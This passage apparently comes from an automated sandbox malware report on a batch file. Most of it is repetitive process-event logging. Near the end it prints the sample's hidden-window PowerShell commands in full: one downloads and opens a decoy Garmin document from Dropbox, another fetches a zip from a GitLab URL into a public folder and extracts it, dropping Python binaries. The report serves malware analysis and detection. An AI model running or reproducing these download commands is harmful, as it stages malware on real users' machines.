Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4304	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5566	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4505	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1166	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3826	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5971	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2424	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1019	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\pythonw.exe	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\python312.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\vcruntime140.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\python.exe	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\python3.dll	Jump to dropped file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7764	Thread sleep count: 4304 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7768	Thread sleep count: 5566 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7832	Thread sleep time: -11990383647911201s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7908	Thread sleep count: 4505 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7952	Thread sleep time: -2767011611056431s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7912	Thread sleep count: 1166 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7924	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8016	Thread sleep count: 3826 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8012	Thread sleep count: 5971 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8044	Thread sleep time: -17524406870024063s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3716	Thread sleep count: 2424 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2988	Thread sleep count: 1019 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 652	Thread sleep time: -5534023222112862s >= -30000s	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: powershell.exe, 0000000E.00000002.2578218791.0000027DE3024000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2581143815.0000027DE3213000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: powershell.exe, 0000000C.00000002.1431154014.000001C5C3850000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW3018%SystemRoot%\system32\mswsock.dll0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: amsi64_7708.amsi.csv, type: OTHER
Source: Yara match	File source: amsi64_7968.amsi.csv, type: OTHER
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7708, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7968, type: MEMORYSTR

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp.com 437	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c type tmp	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe fiNdstr /L /I set "C:\Users\user\Desktop\hnghksdjfhs19De.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe fiNdstr /L /I goto "C:\Users\user\Desktop\hnghksdjfhs19De.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe fiNdstr /L /I echo "C:\Users\user\Desktop\hnghksdjfhs19De.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe fiNdstr /L /I pause "C:\Users\user\Desktop\hnghksdjfhs19De.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c type tmp	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/zua9grfav23fh4qehh20o/Garmin_Campaign_Information_for_Partners_V12.docx?rlkey=3k997e4pxm2k1l2r5xy1dru3v&st=cdsyusw8&dl=1', 'C:\Users\user\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V12.docx')"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Start-Process 'C:\Users\user\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V12.docx'"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://gitlab.com/fgh8090051/jgh/-/raw/main/F1912.zip', 'C:\Users\Public\Document.zip')"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document')"	Jump to behavior

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden -command "[net.servicepointmanager]::securityprotocol = [net.securityprotocoltype]::tls12; (new-object -typename system.net.webclient).downloadfile('https://www.dropbox.com/scl/fi/zua9grfav23fh4qehh20o/garmin_campaign_information_for_partners_v12.docx?rlkey=3k997e4pxm2k1l2r5xy1dru3v&st=cdsyusw8&dl=1', 'c:\users\user\appdata\local\temp\\garmin_campaign_information_for_partners_v12.docx')"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden -command "[net.servicepointmanager]::securityprotocol = [net.securityprotocoltype]::tls12; (new-object -typename system.net.webclient).downloadfile('https://gitlab.com/fgh8090051/jgh/-/raw/main/f1912.zip', 'c:\users\public\document.zip')"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden -command "[net.servicepointmanager]::securityprotocol = [net.securityprotocoltype]::tls12; (new-object -typename system.net.webclient).downloadfile('https://www.dropbox.com/scl/fi/zua9grfav23fh4qehh20o/garmin_campaign_information_for_partners_v12.docx?rlkey=3k997e4pxm2k1l2r5xy1dru3v&st=cdsyusw8&dl=1', 'c:\users\user\appdata\local\temp\\garmin_campaign_information_for_partners_v12.docx')"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden -command "[net.servicepointmanager]::securityprotocol = [net.securityprotocoltype]::tls12; (new-object -typename system.net.webclient).downloadfile('https://gitlab.com/fgh8090051/jgh/-/raw/main/f1912.zip', 'c:\users\public\document.zip')"	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
